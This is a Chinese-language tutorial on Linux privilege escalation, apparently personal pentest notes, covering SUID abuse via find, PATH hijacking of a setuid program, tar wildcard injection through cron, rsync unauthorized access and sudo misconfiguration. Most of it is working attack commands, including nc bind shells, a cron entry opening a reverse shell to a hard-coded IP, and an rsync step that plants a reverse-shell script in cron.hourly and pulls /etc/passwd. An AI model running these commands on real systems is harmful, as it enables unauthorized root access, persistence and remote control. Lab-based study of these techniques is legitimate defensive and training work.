提权工具
https://github.com/liamg/traitorhttps://github.com/AlessandroZ/BeRoothttps://github.com/rebootuser/LinEnumhttps://github.com/mzet-/linux-exploit-suggesterhttps://github.com/sleventyeleven/linuxprivcheckerhttps://github.com/jondonas/linux-exploit-suggester-2
SUID提权
提权命令网站:GTFOBins
漏洞原因:
chmod u+s增加suid chmod u-s减少suid
在程序运行的时候,经常需要给程序以高权限,类似于Windows里的以管理员身份运行,通过上面的命令增加SUID,使普通用户可以以root用户的身份运行程序
查找SUID权限命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
SUID具有高权限,可以用root身份执行命令
find / -user root -perm -4000 -exec ls -ldb {} \;
现在尝试用SUID提权,使用上面的SUID提权网站
sudo install -m =xs $(which find) .
./find . -exec /bin/sh -p \; -quit
可以看到,成功通过SUID得到root权限
但是前面的提权是有一个问题的,因为这些提权步骤都是我使用自己的云服务完成的,真实情况我们不能看到回显,所以需要用到反弹shell
控制受害者主机开启nc监听7777端口并绑定/bin/sh,注意开启防火墙端口
find yc -exec nc -lvp 7777 -e /bin/sh \;
攻击者连接受害者主机
nc 43.139.79.52 7777
可以看到11,成功通过反弹shell获取了权限,当我们第一次用whoami查看自身身份的时候,会发现身份是普通用户,这时候再用前面的提权命令即可拿到root权限,我这里使用nc进行反弹shell,如果没有nc环境可以尝试其他反弹shell命令,根据具体情况而定
我们前面使用SUID提权的时候,其实很多命令都有SUID权限,但是为什么只有find等命令才可以作为提权命令呢,这是由这些命令的功能决定的,如果find没有exec这个参数,那他也不能用来提权,就比如拥有管理员权限的ping命令,但是可以用来提权吗,显然不能
环境变量提权
管理员编译了程序,给予程序管理员运行的权限,攻击者通过提供对程序的运行调试反编译获得程序运行逻辑,对程序调用的环境变量进行覆盖,从而继承程序的权限
比如现在有一个程序test.c,会执行find命令,自带环境变量/usr/bin/bash,如果我们把bash命令复制到当前目录取名find,那么可能调用的程序就会由find命令变为bash命令
test.c
#include<unistd.h>
void main()
{ setuid(0);setgid(0);system("ps");
}
vim test.c
cdd /tmp
gcc test.c
gcc test.c -o shell
chmod u+s shell
cp /bin/bash /tmp/find
export PATH=/tmp:$PATH
./shell
实战步骤:
查看SUID权限,查看管理员创建的命令
反编译获得源代码 ,就是前面的.c文件
覆盖变量,cp /bin/bash /tmp/find,export PATH=/tmp:$PATH
这里还遇到一个问题,普通用户竟然没有权限在/tmp创建文件,最后完成提权,但是感觉此提权方法太困难,比较鸡肋
计划任务提权
在Linux中,经常会用到计时任务,比如每天自动打包当天的日志文件
查看计时任务命令
cat /etc/crontab
写一个计划任务实现将每天的文件打包
echo "0 0 * * * tar -czf /data/archive/archive.tar.gz /tmp">/etc/crontab
如果黑客发现有这样一个计划任务,他就可以通过计划任务来提权
echo "" > "--checkpoint-action=exec=sh test.sh"echo "" > --checkpoint=1echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.shchmod +x test.sh./bash -p
计划任务也可以用来在后渗透中,写一个计划任务每隔一段时间发起反弹shell
echo "* * * * * root bash -i >& /dev/tcp/43.139.79.52/7777 0>&1">/etc/crontab
计划任务提权(配置不当)
使用上面那种计划任务提权极其复杂,计划任务还有一种方式就是配置不当
假如有一个1.sh文件,root用户使用chmod 777 1.sh,那么这就有问题了,普通用户也有权限修改这个文件,如果普通用户将文件内容改为反弹shell,那么当计划任务执行的时候,反弹shell由root权限执行,根据权限继承的原则,root用户执行了反弹shell,这样就成功拿到了root权限,这也是计划任务提权的实际情况运用方式
Rsync未授权访问提权
Rsync是一款数据备份工具,默认端口873,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
可以使用vulhub的靶场来验证
Vulhub - Docker-Compose file for vulnerability environment
提权过程
创建一个 nc 文件,内容
#!/bin/bash/bin/bash -i >& /dev/tcp/47.94.236.117/3333 0>&i赋予执行权限:chmod +x nc上传文件覆盖定时任务目录下rsync -av nc rsync://47.94.236.117:873/src/etc/cron.hourly下载文件rsync -av rsync://47.94.236.117:873/src/etc/passwd ./进行 nc 监听相应的端口nc -lvnp 3333
SUDO提权
/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令,
创建用户命令
useradd yc
passwd yc
查看命令
sudo cat /etc/sudoers
这是我买的云服务器自带的,可见lighthose用户拥有root的所有权限,直接sudo su就可以提权
这里模拟配置sudo权限不当
visudo
yc ALL=(ALL:ALL) /usr/bin/find #复制到文件中
su yc 切换到yc用户
sudo find /home -exec /bin/bash \; 执行find提权命令
内核提权
CVE-2016-5195 DirtyCow 脏牛提权
CVE-2022-0847 脏管道提权